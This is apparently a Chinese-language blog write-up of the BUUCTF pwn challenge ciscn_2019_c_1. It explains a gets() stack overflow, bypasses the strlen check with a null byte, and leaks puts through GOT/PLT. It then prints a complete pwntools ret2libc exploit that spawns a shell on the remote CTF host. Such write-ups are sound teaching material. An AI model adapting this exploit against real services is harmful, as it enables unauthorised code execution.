BUUCTF-Pwn-ciscn_2019_c_1

21 篇文章 0 订阅

题目截图
在这里插入图片描述
检查一下文件信息
在这里插入图片描述
开启了NX,64位的文件
使用IDA打开
按shift+F12查看字符串,没有找到“flag”和“/bin/sh”类似的字符串
一番寻找也没有找到system函数
查看函数导入表找到了puts函数和gets函数,说明使用了libc动态库,可以从这里入手
找到gets函数所在位置查看
在这里插入图片描述
在函数encrypt中使用了gets函数,存在栈溢出,点击encrypt函数的名称,按x检查交叉引用
在这里插入图片描述
双击进入查看调用函数
在这里插入图片描述
运行程序可以了解到,该程序的功能是对字符串进行加密和解密,这段代码的功能就是读取我们的选项并跳转,当我们输入选项1时就会调用encrypt函数,回到encrypt函数,按F5反汇编查看改函数的功能
在这里插入图片描述
该函数的功能就是循环对输入的字符串进行加密,在加密前都有一个检查,只要v0的值大于或等于字符串的长度就跳出循环,而字符串的长度是通过strlen来计算的,strlen计算字符串的长度是以’\0’作为终止符,所以我们只需要在payload的开头加上’\0’就能绕过加密从而保证我们写入的数据不被改变
在没有system及/bin/sh但是有libc动态库的情况下,我们通常有以下思路:
1.获取libc的版本
2.获取libc的基址
3.计算system及/bin/sh的地址
4.构造payload获取shell
获取libc版本和计算system及/bin/sh的地址可以使用工具Libcsearcher,使用该工具的前提是获取到程序运行时libc库中的某一函数的实际地址,这里不得不说到GOT表和PLT表,GOT表用来保存函数在程序运行时的实际地址,PLT表用于延迟绑定,所谓绑定就是获取外部函数的实际地址等信息,延迟绑定即等到第一次用到某函数时才进行绑定,调用外部函数时,程序先查PLT表,如果是第一次调用,PLT表会指向一段代码,这段代码会执行一些函数来获取该外部函数的实际地址,填入到GOT表中,并修改PLT表指向GOT表中的相应位置,下一次调用时就会直接从PLT表转到GOT表获取到实际的地址,所以我们只需要知道目标函数在PLT表和GOT表中的位置,就能获取到表值及目标函数的实际地址
这道题有两次栈溢出
第一次栈溢出调用puts函数打印puts函数的实际地址并回到主函数来进行第二次溢出
第二次溢出获取shell
完整的exp

from pwn import*
from LibcSearcher import*

r=remote('node4.buuoj.cn',27870) 
elf=ELF('/home/lhb/桌面/ciscn_2019_c_1')

#第一次溢出
main=0x400b28 #主函数的地址
#pop_rdi和ret通过工具ROPgadget来获取
pop_rdi=0x400c83 #pop rdi;ret;
ret=0x4006b9 #ret;

puts_plt=elf.plt['puts'] #获取puts在plt表中的位置
puts_got=elf.got['puts'] #获取puts在got表中的位置

r.sendlineafter(b'choice!\n',b'1') #选择选项1
payload=b'\0'+b'a'*(0x50-1+8) #填充
payload+=p64(pop_rdi) #rop链
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter(b'encrypted\n',payload) #进行栈溢出
r.recvline() #接收字符串“Ciphertext“
r.recvline() #接收加密后的密文
addr=r.recvuntil(b'\n') #接收puts的地址
puts_addr=u64(addr[:-1].ljust(8,b'\0')) #去掉末尾的'\n’并解包,因为需要长度为8字节才能解包,所以用'\0'填充

libc=LibcSearcher('puts',puts_addr) #获取libc的版本
offset=puts_addr-libc.dump('puts') #计算偏移量
binsh=offset+libc.dump('str_bin_sh') #计算字符串"/bin/sh"的地址
system=offset+libc.dump('system') #计算函数system的地址

#第二次溢出
r.sendlineafter(b'choice!\n',b'1') #选择选项1
payload=b'\0'+b'a'*(0x50-1+8) #填充
payload+=p64(ret) #rop链
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter(b'encrypted\n',payload) #进行栈溢出
r.interactive() #开启交互

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值